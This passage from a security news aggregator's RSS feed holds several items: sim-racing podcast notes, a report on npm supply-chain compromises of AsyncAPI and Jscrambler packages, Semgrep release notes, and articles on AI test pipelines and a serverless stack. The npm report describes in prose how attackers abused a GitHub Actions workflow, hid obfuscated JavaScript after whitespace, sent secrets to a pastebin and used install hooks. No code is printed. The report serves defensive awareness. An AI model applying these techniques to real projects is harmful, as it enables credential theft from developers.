<a href="https://www.amazon.com/dp/B001EYEM8C" rel="noopener noreferrer" target="_blank">
https://www.amazon.com/dp/B001EYEM8C</a>

</p>

<p>

<a href="https://www.simhubdash.com/" rel="noopener noreferrer" target="_blank">
https://www.simhubdash.com/</a>

</p>

<p>

<a href="https://www.accsetupcomparator.com/" rel="noopener noreferrer" target="_blank">
https://www.accsetupcomparator.com/ </a>

</p>

<p>

<a href="https://www.iracing.com/" rel="noopener noreferrer" target="_blank">
https://www.iracing.com/</a>
 ( they have buy 2 years get discount during holiday but still can't afford it .. )</p>

<p>

<a href="https://forza.net/horizon" rel="noopener noreferrer" target="_blank">
https://forza.net/horizon</a>

</p>

<p>

</p>

<p>
DiRT Rally 2.0 GOTY</p>

<p>

<a href="https://k4g.com/store?distribution%5B%5D=3&amp;q=DiRT%20Rally%202.0%20GOTY&amp;sort=price" rel="noopener noreferrer" target="_blank">
https://k4g.com/store?distribution[]=3&amp;q=DiRT%20Rally%202.0%20GOTY&amp;sort=price</a>

</p>

<p>

</p>

<p>
CrewChiefV4</p>

<p>

<a href="https://thecrewchief.org/" rel="noopener noreferrer" target="_blank">
https://thecrewchief.org/</a>

</p>

<p>

<a href="https://app.tracktitan.io/sessions/3ebbf63b-93de-4309-9a42-9311a745209d/20241228052252" rel="noopener noreferrer" target="_blank">
https://app.tracktitan.io/sessions/3ebbf63b-93de-4309-9a42-9311a745209d/20241228052252</a>

</p>

<p>

</p>

<p>
SUMMARY.</p>

<p>
User discusses sim racing challenges, costs, and setup tips.</p>

<p>
IDEAS.</p>

<ol>

<li>
 Sim racing requires time and investment.</li>

<li>
 I Racing is expensive with annual costs.</li>

<li>
 Set of Courses offers one-time payment.</li>

<li>
 Proper setup enhances sim racing experience.</li>

<li>
 Cable connections can complicate setup.</li>

<li>
 Upgrading hardware improves performance.</li>

<li>
 Arcade games like Forza offer casual play.</li>

<li>
 Realistic sim racing demands dedication.</li>

<li>
 License requirements vary between platforms.</li>

<li>
 Remote gaming systems save space.</li>

<li>
 Steering wheel upgrades improve smoothness.</li>

<li>
 Dedicated spaces optimize sim racing.</li>

<li>
 Balancing fun and realism is key.</li>

<li>
 Multi-launchers manage gaming platforms.</li>

<li>
 Hacked accounts may cause issues.</li>

<li>
 Monitoring hardware wear is important.</li>

<li>
 Shifting mechanisms enhance control.</li>

<li>
 Curved monitors improve immersion.</li>

<li>
 Time constraints affect sim racing participation.</li>

<li>
 Exploring multiple games adds variety.</li>

</ol>

<p>

</p>

<p>
RECOMMENDATIONS.</p>

<ol>

<li>
 Consider Set of Courses for a one-time payment.</li>

<li>
 Invest in a proper setup for serious sim racing.</li>

<li>
 Use a multi-launcher for managing games.</li>

<li>
 Upgrade hardware for smoother performance.</li>

<li>
 Buy specific tracks and cars to avoid costs.</li>

<li>
 Opt for a dedicated space for sim racing.</li>

<li>
 Check for license requirements before purchasing.</li>

<li>
 Remote into gaming systems to save space.</li>

<li>
 Replace plastic parts with bearings for smoother operation.</li>

<li>
 Use a 7-speed shifter for better control.</li>

<li>
 Avoid hacked accounts for reliability.</li>

<li>
 Purchase multiple accounts for different players.</li>

<li>
 Focus on arcade games for casual play.</li>

<li>
 Prioritize a curved monitor for immersion.</li>

<li>
 Use a standing desk for accessibility.</li>

<li>
 Monitor cable connections to prevent setup issues.</li>

<li>
 Upgrade steering wheel components for better experience.</li>

<li>
 Balance fun and realism based on personal preference.</li>

<li>
 Consider time investment for sim racing.</li>

<li>
 Explore different racing games for variety.</li>

</ol>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4684/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NPM ecosystem hit with two new supply chain compromises]]></title>
<description><![CDATA[Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised developmen...]]></description>
<link>https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</guid>
<pubDate>Wed, 15 Jul 2026 22:38:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised development credentials.</p>



<p class="wp-block-paragraph">The incidents highlight the cascading effect of software supply chain attacks in which stolen credentials are then used to perpetrate additional compromises. Security researchers advise organizations to completely rebuild from clean images any developer machines that have installed a poisoned package — and to rotate all npm tokens, source control access, cloud credentials, CI/CD secrets, SSH keys, signing keys, and browser sessions.</p>



<p class="wp-block-paragraph">Affected packages include: <a href="mailto:jscrambler@8.14.0">jscrambler@8.14.0</a>, <a href="mailto:jscrambler@8.16.0">jscrambler@8.16.0</a>, <a href="mailto:jscrambler@8.17.0">jscrambler@8.17.0</a>, <a href="mailto:jscrambler@8.18.0">jscrambler@8.18.0</a>, <a href="mailto:jscrambler@8.20.0">jscrambler@8.20.0</a>, @asyncapi/generator-helpers@1.1.1, @asyncapi/generator-components@0.7.1, @asyncapi/generator@3.3.1, @asyncapi/specs@6.11.2 and @asyncapi/specs@6.11.2-alpha.1.</p>



<p class="wp-block-paragraph">However, packages that list any of the above poisoned packages as dependencies may also be impacted, including those from the same projects, such as jscrambler-webpack-plugin 8.6.2, gulp-jscrambler 8.6.2, grunt-jscrambler 8.5.2, and jscrambler-metro-plugin 9.0.2.</p>



<h2 class="wp-block-heading">Vulnerable GitHub Actions workflow used as entry point</h2>



<p class="wp-block-paragraph">The attack against AsyncAPI, an open-source reference specification and toolset for implementing event-driven architectures and asynchronous APIs, occurred on Tuesday and was independently detected by multiple security companies monitoring the npm registry, including Upwind, Socket.dev, Wiz, StepSecurity, and Aikido Security.</p>



<p class="wp-block-paragraph">According to the researchers’ analysis, attackers took advantage of a <a href="https://www.csoonline.com/article/4008621/github-actions-attack-renders-even-security-aware-orgs-vulnerable.html">known configuration vulnerability in a GitHub Actions CI/CD workflow</a> that had been reported in April. The flaw involves the <code>pull_request_target</code> event, which executes whenever a new pull request is made. When triggered, the workflow automatically checks out and executes the developer’s submitted pull request code in the Actions container, but this is done in the context of the base repository with full access to secrets.</p>



<p class="wp-block-paragraph">The AsyncAPI project had <a href="https://github.com/asyncapi/generator/pull/2092">a proposed fix</a> since May 17, but the fix had not yet gone through the full review and was not merged into the main branch.</p>



<p class="wp-block-paragraph">“At 05:08 UTC, the attacker opened PR #2155 containing a markdown file with obfuscated JavaScript hidden after approximately 1,000 bytes of whitespace,” researchers from Wiz explained <a href="https://www.wiz.io/blog/m-red-team-asyncapi-supply-chain-compromise-via-github-actions">in their report</a>. “The payload was designed to scan the GitHub Actions runner’s environment for secrets and exfiltrate them to a dead-drop URL on the rentry.co pastebin.”</p>



<p class="wp-block-paragraph">When a GitHub Actions workflow is triggered and is executed in an environment, a temporary <code>GITHUB_TOKEN</code> is generated to allow for authenticated git commands against the repository. Other tokens might also be included.</p>



<p class="wp-block-paragraph">In this case, the attackers managed to obtain a token associated with asyncapi-bot, a service account that had access across the entire AsyncAPI organization on GitHub. This allowed them to perform malicious code commits in two separate repositories. Those commits then triggered automated build workflows that generated and published the npm packages.</p>



<p class="wp-block-paragraph">The payload bundled in the packages shares some similarities with a malware framework called Miasma that was used in previous supply chain compromises. However, the malware code appears to be significantly different from previously documented variants.</p>



<p class="wp-block-paragraph">The first-stage code downloads a secondary trojan payload that has variants for Linux, Windows, and macOS. This is a modular malware framework with credential theft capabilities that targets passwords and cookies saved inside browsers, SSH keys, npm and GitHub tokens, AWS credentials, macOS Keychain, and cryptocurrency wallets.</p>



<p class="wp-block-paragraph">The trojan communicated with a command-and-control server and can accept remote commands to perform file operations, list directories, and exfiltrate data.</p>



<h2 class="wp-block-heading">Jscrambler compromised via leaked npm credential</h2>



<p class="wp-block-paragraph">The Jscrambler attack happened over the weekend on July 11 with attackers publishing multiple trojanized versions in two waves. Jscrambler Code Integrity is a client-side security library designed to protect JavaScript-based web and mobile applications against tampering and reverse engineering.</p>



<p class="wp-block-paragraph">Jscrambler published <a href="https://jscrambler.com/blog/security-advisory-malicious-npm-package">an advisory</a> in response to the incident in which it clarified that the attackers published malicious versions of the package using a npm publishing credential. However, unlike the AsyncAPI case, how that credential was leaked in the first place is not clear.</p>



<p class="wp-block-paragraph">Initially the attackers released new package versions with two malicious scripts that get executed at install time using a preinstall hook in the configuration script. The scripts also execute platform-specific binaries for Linux, macOS, and Windows embedded in an obfuscated container.</p>



<p class="wp-block-paragraph">Because <code>preinstall</code> or <code>postinstall</code> hooks are common ways to deliver malware in npm packages, they are automatically checked by security tools. To avoid detection, the attackers pivoted to a method that involved injecting the malicious code directly in the <code>dist/index.js</code> and <code>dist/bin/jscrambler.js</code> files. This changed the malware execution from package installation time to when the package gets imported into other projects or the Jscrambler CLI is invoked.</p>



<p class="wp-block-paragraph">The embedded malware executables for different platforms are written in Rust and, according to <a href="https://socket.dev/blog/jscrambler-supply-chain-attack">Socket.dev’s analysis</a>, were “a broad, developer-focused credential and secret harvester” that targeted browser-extension crypto wallets, API keys from AI coding assistants and MCP servers, cloud credentials for AWS, Azure and GCP, authentication tokens for messaging applications (such as Discord, Slack, and Telegram), password stores from browsers, Steam, and KDE.<br><br><br></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Security Is Never Finished: Building the Continuous Red Teaming Loop ]]></title>
<description><![CDATA[Security programs are built around moments of closure: the finding is closed, the control passed, and the release can move forward.  AI security refuses to cooperate with that model.  A passing test is useful evidence, but only for a specific system, configuration, and moment.  Production AI keep...]]></description>
<link>https://tsecurity.de/de/3671753/it-security-nachrichten/ai-security-is-never-finished-building-the-continuous-red-teaming-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671753/it-security-nachrichten/ai-security-is-never-finished-building-the-continuous-red-teaming-loop/</guid>
<pubDate>Wed, 15 Jul 2026 21:53:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1600" height="800" src="https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1.png" class="webfeedsFeaturedVisual wp-post-image" alt="Continuous Red Teaming Loop" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1.png 1600w, https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1-300x150.png 300w, https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1-1024x512.png 1024w, https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1-768x384.png 768w, https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1-1536x768.png 1536w, https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1-400x200.png 400w, https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1-600x300.png 600w, https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1-800x400.png 800w, https://blog.checkpoint.com/wp-content/uploads/2026/07/blog-banner-continuous-redteaming-loop-800x400-1-1-1200x600.png 1200w" sizes="(max-width: 1600px) 100vw, 1600px"><p>Security programs are built around moments of closure: the finding is closed, the control passed, and the release can move forward.  AI security refuses to cooperate with that model.  A passing test is useful evidence, but only for a specific system, configuration, and moment.  Production AI keeps moving. Models change behavior, prompts are revised, retrieval sources are added, agents gain tools, and users introduce unexpected context. Attackers adapt just as quickly. Yesterday’s clean result may not describe tomorrow’s risk.  That has been the practical case for continuous AI red teaming. Now, research from the National Institute of Standards and Technology […]</p>
<p>The post <a href="https://blog.checkpoint.com/ai-security/ai-security-is-never-finished-building-the-continuous-red-teaming-loop/">AI Security Is Never Finished: Building the Continuous Red Teaming Loop </a> appeared first on <a href="https://blog.checkpoint.com/">Check Point Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google’s biggest clean power project is 40 miles north of xAI’s unpermitted gas power plant]]></title>
<description><![CDATA[Google's biggest solar and battery project stands in sharp contrast with xAI's nearby unpermitted power plant.]]></description>
<link>https://tsecurity.de/de/3671537/it-nachrichten/googles-biggest-clean-power-project-is-40-miles-north-of-xais-unpermitted-gas-power-plant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671537/it-nachrichten/googles-biggest-clean-power-project-is-40-miles-north-of-xais-unpermitted-gas-power-plant/</guid>
<pubDate>Wed, 15 Jul 2026 19:47:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google's biggest solar and battery project stands in sharp contrast with xAI's nearby unpermitted power plant.]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v1.170.0]]></title>
<description><![CDATA[1.170.0 - 2026-07-15
### Added

Pro C/C++ scans now skip code inside statically-dead preprocessor branches
(for example, #if 0 ... #else ... #endif). Patterns that would otherwise
match against intentionally-disabled code no longer report on it. (cpp-if-zero-filter)
Restored obackward: semgrep-co...]]></description>
<link>https://tsecurity.de/de/3671455/it-security-tools/release-v11700/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671455/it-security-tools/release-v11700/</guid>
<pubDate>Wed, 15 Jul 2026 19:19:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/semgrep/semgrep/releases/tag/v1.170.0">1.170.0</a> - 2026-07-15</h2>
<h3>### Added</h3>
<ul>
<li>Pro C/C++ scans now skip code inside statically-dead preprocessor branches<br>
(for example, <code>#if 0 ... #else ... #endif</code>). Patterns that would otherwise<br>
match against intentionally-disabled code no longer report on it. (cpp-if-zero-filter)</li>
<li>Restored obackward: semgrep-core and semgrep-core-proprietary once again print a backtrace when receiving a fatal signal (e.g. SIGSEGV) (obackward)</li>
<li><code>semgrep install-semgrep-pro</code> now sends usage metrics so that<br>
installation errors can be tracked. Metrics can be disabled with<br>
<code>--metrics off</code> or <code>SEMGREP_SEND_METRICS=off</code>. Metrics payloads also<br>
now include the method used to install the Semgrep CLI (pip, homebrew,<br>
docker, or unknown), detected heuristically. See metrics.md for<br>
more details of what exactly is sent. (engine-2858)</li>
</ul>
<h3>### Changed</h3>
<ul>
<li>Increased the timeout for dynamic dependency resolution subprocesses from<br>
600 to 900 seconds, giving large projects more time to resolve dependencies<br>
before timing out. (SC-3699)</li>
<li>Pro C/C++ <code>#if 0</code> filtering now also handles cases where the directive splits a<br>
syntactic unit.  For example, a function signature toggle like <code>#if 0 void foo(int i) { #else void foo(uint32_t i) { #endif</code>. (engine-994)</li>
</ul>
<h3>### Fixed</h3>
<ul>
<li>
<p>Fixed a crash at startup (<code>Fatal error: Failed to allocate signal stack for domain 0</code>) when running Semgrep on systems with musl 1.2.6 (e.g. Alpine 3.24) on<br>
recent Intel CPUs whose kernel-reported minimum signal-stack size exceeds musl's<br>
build-time SIGSTKSZ (notably AMX-capable Xeons). (ENGINE-2863)</p>
</li>
<li>
<p>Dockerfile: Fixed parse errors on <code>RUN</code> instructions that use heredoc syntax<br>
(<code>&lt;&lt;EOF</code>, <code>&lt;&lt;-EOF</code>, quoted delimiters). (LANG-263)</p>
</li>
<li>
<p><code>metavariable-type</code> now supports fully qualified type names in languages<br>
where a qualified name in type position parses as an expression (e.g.<br>
Python's <code>types: [a.b.C]</code>) when the metavariable's type is determined by<br>
type inference, such as Pro engine cross-file type resolution. (LANG-583)</p>
</li>
<li>
<p>Updated the ocaml-tree-sitter-core dependency to the latest <code>main</code>.</p>
<ul>
<li>Fails loudly on a parser/runtime ABI mismatch</li>
<li>Stamps every generated <code>parser.c</code> with the tree-sitter version that produced it.</li>
<li>Changed paths where tree-sitter versions are installed (lang-591)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[What 80% AI-written test pipelines actually cost]]></title>
<description><![CDATA[The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?



After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the typing, not eighty percent o...]]></description>
<link>https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?</p>



<p class="wp-block-paragraph">After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the <em>typing</em>, not eighty percent of the <em>engineering</em>. The remaining twenty was where the work still lived. Budgeting for two percent of leftover effort was the mistake. When the real number was closer to thirty, that gap was the difference between a pipeline that shipped and one that quietly built up a queue of half-trusted features nobody could rely on.</p>



<p class="wp-block-paragraph">This piece is about that gap. As an independent research project on LLM-augmented testing methodology, I built a six-stage agentic pipeline that takes a design in Figma and produces running tests in WebDriverIO, connected end to end over the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. It works. It has been useful. And the parts that broke surprised me, because they were not the parts the hype cycle tells you to worry about.</p>



<h2 class="wp-block-heading">How I wired a six-stage pipeline over one protocol</h2>



<p class="wp-block-paragraph">The pipeline runs six stages in sequence, each owned by a different agent, with every handoff crossing MCP.</p>



<p class="wp-block-paragraph">Six-stage agentic test pipeline: design capture → requirements writer → ticket opener → code generator → test-case writer → automation generator. Each stage carries an MCP handoff and a provenance stamp.</p>



<p class="wp-block-paragraph">The end-to-end trace links a pull request back to a Jira ticket, a requirements section and a Figma frame. Each artifact is stamped with the agent that produced it, the model it used and the inputs it was given.</p>



<p class="wp-block-paragraph">MCP is the boring middle that makes any of this work. The cliché is that MCP is “USB-C for AI”: one open protocol, any tool. Like most analogies, it is about eighty percent right. The part that matters is the eighty: I do not have to write a custom adapter for every system the agent talks to. One MCP server per tool and every agent talks to all of them the same way.</p>



<p class="wp-block-paragraph"><strong>Typed handoffs between agents are my own architecture, layered on top of MCP rather than provided by it.</strong> Each agent writes a typed artifact the next agent reads. Each handoff is logged with provenance. When something went wrong six stages in, I could replay the chain. Without that discipline, a multi-agent pipeline is a debugger’s worst day. You know the test plan is wrong. You cannot tell whether the mistake came from the Figma read, the requirements interpretation or the ticket scaffolding. With it, I could point at exactly which stage went sideways and which inputs it was looking at when it did. The pattern lives in a <a href="https://github.com/SuneetMalhotra/agent-harness">public MIT-licensed reference implementation</a> for any reader who wants to run it.</p>



<p class="wp-block-paragraph"><strong>The sixteen-minute number is the marketing number.</strong> I ran the full chain end to end in about sixteen minutes on a synthetic net-new screen, Figma in, automation suite out. That repeated across my runs; it is not a demo trick. But sixteen minutes is the part of the story most fun to tell and least useful to learn from. It is what gets quoted in the all-hands. The hours that come after, when a human reviews each handoff, are where the work actually lives.</p>



<h2 class="wp-block-heading">What actually broke in production-style runs</h2>



<p class="wp-block-paragraph">The failures that stalled my pipeline were rarely the ones I expected.</p>



<p class="wp-block-paragraph">I expected hallucinated APIs. I got them: the agent confidently called endpoint names that sounded right but did not exist. I expected sparse-spec-in, sparse-spec-out, where a Figma frame with no annotations produced a requirements doc with vague acceptance criteria, every time. I expected locator drift, the common UI-automation failure mode where a renamed component silently breaks an entire test suite. There is solid <a href="https://martinfowler.com/articles/nonDeterminism.html">outside writing on non-determinism in tests</a> covering this whole family of failure modes, and the agent inherited every one.</p>



<p class="wp-block-paragraph">What I did not expect, and what kept the pipeline down longer than any of the above, was the plumbing.</p>



<p class="wp-block-paragraph">The model backend timed out under load. It lost credentials silently and started returning empty strings, which the agent then read as confidence. A duplicate consumer on a shared long-poll API endpoint produced an HTTP 409 conflict that broke delivery without throwing anything visible. One unguarded exception inside one agent aborted a whole shared scheduler run and took the other agents in the registry down with it. The single worst incident cost me three hours to find. An environment variable had silently rotated overnight; every agent in the fleet was returning structurally valid but semantically empty requirements docs; the downstream stages were dutifully generating tests against nothing.</p>



<p class="wp-block-paragraph">None of those are model bugs. They are infrastructure. The agent literature, which is what I went looking through when I started this work, mostly does not talk about them.</p>



<p class="wp-block-paragraph">The fix was not better prompts. It was <a href="https://martinfowler.com/bliki/CircuitBreaker.html">circuit-breaker-style</a> review checkpoints between stages and what I now call <strong>the four-guard discipline</strong>: four small guards I consider non-negotiable on any unattended agentic pipeline. The bulkhead pattern from microservices is the most consequential. An unhandled exception inside one agent can no longer abort the shared run; the offending agent fails fast with a structured error and the others keep going. Paired with that, a pure-data fallback ensures a model timeout produces a deterministic output explicitly marked as degraded mode, rather than an empty string the next stage will misread as confidence. A single-owner lease sits on every shared external endpoint, the cure for the duplicate-consumer incident that ate one of my Sunday afternoons. The cheapest guard was the last to arrive: a one-line synthetic canary every agent has to produce a known correct response to before any real work begins, so a credentials rotation or silent backend failure trips an alert before downstream stages have generated artifacts against garbage.</p>



<p class="wp-block-paragraph">None of these guards is novel. They are textbook stability patterns at a new boundary: the seam between the LLM agent and the rest of the system, which most of the existing agent literature still treats as a solved problem.</p>



<h2 class="wp-block-heading">The 20% you don’t see, and when not to do this</h2>



<p class="wp-block-paragraph">Here is the part the demo videos leave out. Even when the pipeline works, the human time per stage does not go to zero.</p>



<p class="wp-block-paragraph">Human review time per ticket across five pipeline stages: code review 60-180 min, automation review and flaky-fix loop 30-90 min, ticket architecture and sequencing 30-60 min, test data and environment 15-30 min, requirements review 20-30 min. Net: the human still spends 20-30% of the original effort, almost all of it reviewing rather than creating.</p>



<p class="wp-block-paragraph"><strong>Net of all that, the human still spends twenty to thirty percent of the original effort, almost all of it reviewing rather than creating.</strong> The pipeline saves seventy to eighty percent, not ninety-eight. The trap is budgeting for the two percent you do not save.</p>



<p class="wp-block-paragraph">When does this kind of pipeline make sense? In my experience, when the Figma is richly annotated and acceptance criteria are clear up front; when there is review capacity to absorb the work the pipeline shifts onto humans; when the stack is well represented in the training data; and when the feature is net-new rather than a deep edit of legacy code. When does it not? When the design lives on a whiteboard. When the integration touches old code with hidden contracts. When the path is regulated or safety-critical. When there is no senior reviewer who can hold the line. When the work is exploratory and writing the spec is the actual point of the exercise.</p>



<p class="wp-block-paragraph">Teams I have seen succeed with agentic pipelines budget for the rework explicitly, staff the review queue and treat the saved hours as capacity for harder problems rather than headcount they can release. Teams I have seen struggle did the opposite: declared victory at the demo and quietly accumulated a backlog of half-trusted features the next quarter had to clean up.</p>



<p class="wp-block-paragraph">The right unit of measurement is not how much the pipeline generates. It is how much of what it generates a human still has to touch before you would ship it. Call it <strong>the 80/20 rework rule</strong>: measure the rework, not the generation. The teams that get the rework number right are the ones whose AI investments compound. The teams that stop counting at the headline percentage are the ones that own the cleanup six months later.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong><u>Want to join?</u></strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ship faster with GitHub, Vercel, and Firestore]]></title>
<description><![CDATA[These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really c...]]></description>
<link>https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really come of age. Here we’ll take a look at putting together three of the most impressive: GitHub, Vercel, and Firestore.</p>



<p class="wp-block-paragraph">Each of these is an important tool in its own right that can be used to attack specific problems. In combination, they not only meet the needs of several important application scenarios, but they have a superpower—the ability to dramatically shorten the distance between development and deployment.</p>



<p class="wp-block-paragraph">There is nothing quite as gratifying as putting your hands on just the right mix of tools for a given need.</p>



<h2 class="wp-block-heading">A ‘no-ops’ stack built for speed</h2>



<p class="wp-block-paragraph">If your primary goal is sheer development velocity, you would be hard-pressed to top this architecture. This “no-ops” stack collapses the distance between your local IDE and a globally distributed production environment. You are essentially trading the overhead of managing VMs and load balancers for the sheer speed of committing code and watching it deploy automatically.</p>



<p class="wp-block-paragraph">While each component is highly flexible, adopting them requires a specific, event-driven mindset. There are a few finicky bits to manage, mostly around routing environment variables securely and designing around stateless back-end functions. But the constraints are obvious and well-documented.</p>



<p class="wp-block-paragraph">Before we look more closely, let’s quickly identify the kinds of apps that are a perfect fit here, along with those that are workable and those that really merit a different approach.</p>



<ul class="wp-block-list">
<li>The sweet spot (deploy and go): AI-mediated applications, asynchronous game back ends, and real-time collaborative B2B dashboards. This architecture perfectly absorbs the unpredictable latency of LLM APIs and instantly syncs state across multiple clients without requiring you to build custom WebSocket infrastructure.</li>



<li>The middle ground (workable, with trade-offs): Headless e-commerce, moderate IoT telemetry, and apps requiring scheduled batch processing. You will encounter friction if your catalog relies on deeply relational SQL constraints, or if your background reporting jobs take longer than a few minutes and hit serverless execution limits.</li>



<li>The danger zone (look elsewhere): High-frequency trading, fast-paced action multiplayer games, heavy data ETL pipelines, and core financial ledgers. Serverless architectures cannot natively hold open the persistent WebSockets required for twitch-reflex data, and heavy compute tasks will abruptly time out.</li>
</ul>



<p class="wp-block-paragraph">We should mention that these categories are not mutually exclusive. Many enterprise applications, such as a full-scale e-commerce platform, straddle these lines. You might use Vercel and Firestore to build a lightning-fast, reactive storefront that handles ephemeral user state like shopping carts, while simultaneously “stitching in” a managed SQL database like Supabase or PlanetScale. This hybrid approach allows you to maintain the relational integrity required for back-office inventory and financial ledgers and pair it with the front-end velocity this stack provides.</p>



<h2 class="wp-block-heading">GitHub: the bedrock</h2>



<p class="wp-block-paragraph">I don’t need to introduce you to <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a>. It is a central element of the development landscape. I still remember CVS and SVN with a certain nostalgia, but the enhancements of <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git</a> speak for themselves. When combined with the orchestration powers of GitHub, it is no wonder that virtually the whole industry has adopted this type of platform.</p>



<p class="wp-block-paragraph">Git plus GitHub gives you an enormous amount of power already, in terms of how you can organize and automate your projects. But there is a next-level experience in combining GitHub and Vercel. For <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html" data-type="link" data-id="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a>-based projects, you can take simple GitHub pushes and turn them into instantly deployed clients and serverless functions. It is one of the cleanest and least fiddly ways to move from raw code on your local machine to a globally deployed, full-stack architecture.</p>



<h2 class="wp-block-heading">Vercel: the nexus</h2>



<p class="wp-block-paragraph">Vercel is more than just a deployment host. It is a control plane that ties this high-velocity, no-ops architecture together. Alongside GitHub and Firestore, Vercel’s deeper strength is its ability to act as an orchestration layer between your reactive front end and external stateful services.</p>



<p class="wp-block-paragraph">Vercel has a great amount of facility in fine-tuning what branches go to what environment and helpful features like instant rollback. You can just log into Vercel’s dashboard for your project and see the history of deployments and any errors and logs. It’s a simple menu choice to roll back to a historical version or compare one version against another.</p>



<p class="wp-block-paragraph">When you “stitch in” third-party services (such as a managed SQL database like <a href="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html" data-type="link" data-id="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html">Supabase</a> or a payment processor like Stripe), Vercel’s serverless functions become the lightweight interface, and Vercel’s the adapters handle the communication. You offload the integration logic (the service layer) to Vercel’s global Edge Network, keeping your UI and back end clean, responsive, and decoupled. </p>



<p class="wp-block-paragraph">In short, Vercel allows you to get the speed of the “no-ops” development life cycle without sacrificing the complex transactional integrity required for some applications like enterprise inventory systems. </p>



